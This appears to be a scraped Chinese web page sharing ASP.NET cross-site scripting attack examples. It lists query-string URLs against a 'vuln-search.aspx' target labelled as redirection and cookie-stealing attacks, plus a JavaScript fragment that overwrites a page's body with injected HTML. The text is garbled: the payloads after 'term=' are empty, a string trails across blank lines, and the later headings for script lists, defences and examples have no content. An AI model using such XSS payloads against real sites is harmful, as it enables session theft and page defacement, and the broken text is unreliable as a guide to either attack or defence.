Asp.net跨站脚本攻击XSS实例分享

常用攻击代码：

http://target/vuln-search.aspx?term=  Redirection Attack http://target/vuln-search.aspx?term=  Cookie stealing http://target/vuln-search.aspx?term=   where 'xss.js' could contain a snippet that overwrites the entire document's HTML body. i.e.: document.body.innerHTML = 'since we can now insert brakets without having to escape the request filtering, we\'re free to insert any HTML tags
    
     
     
     
     
     
    
'; 

XSS脚本列表：

防御XSS列表：

部分实例分享：

其他实例：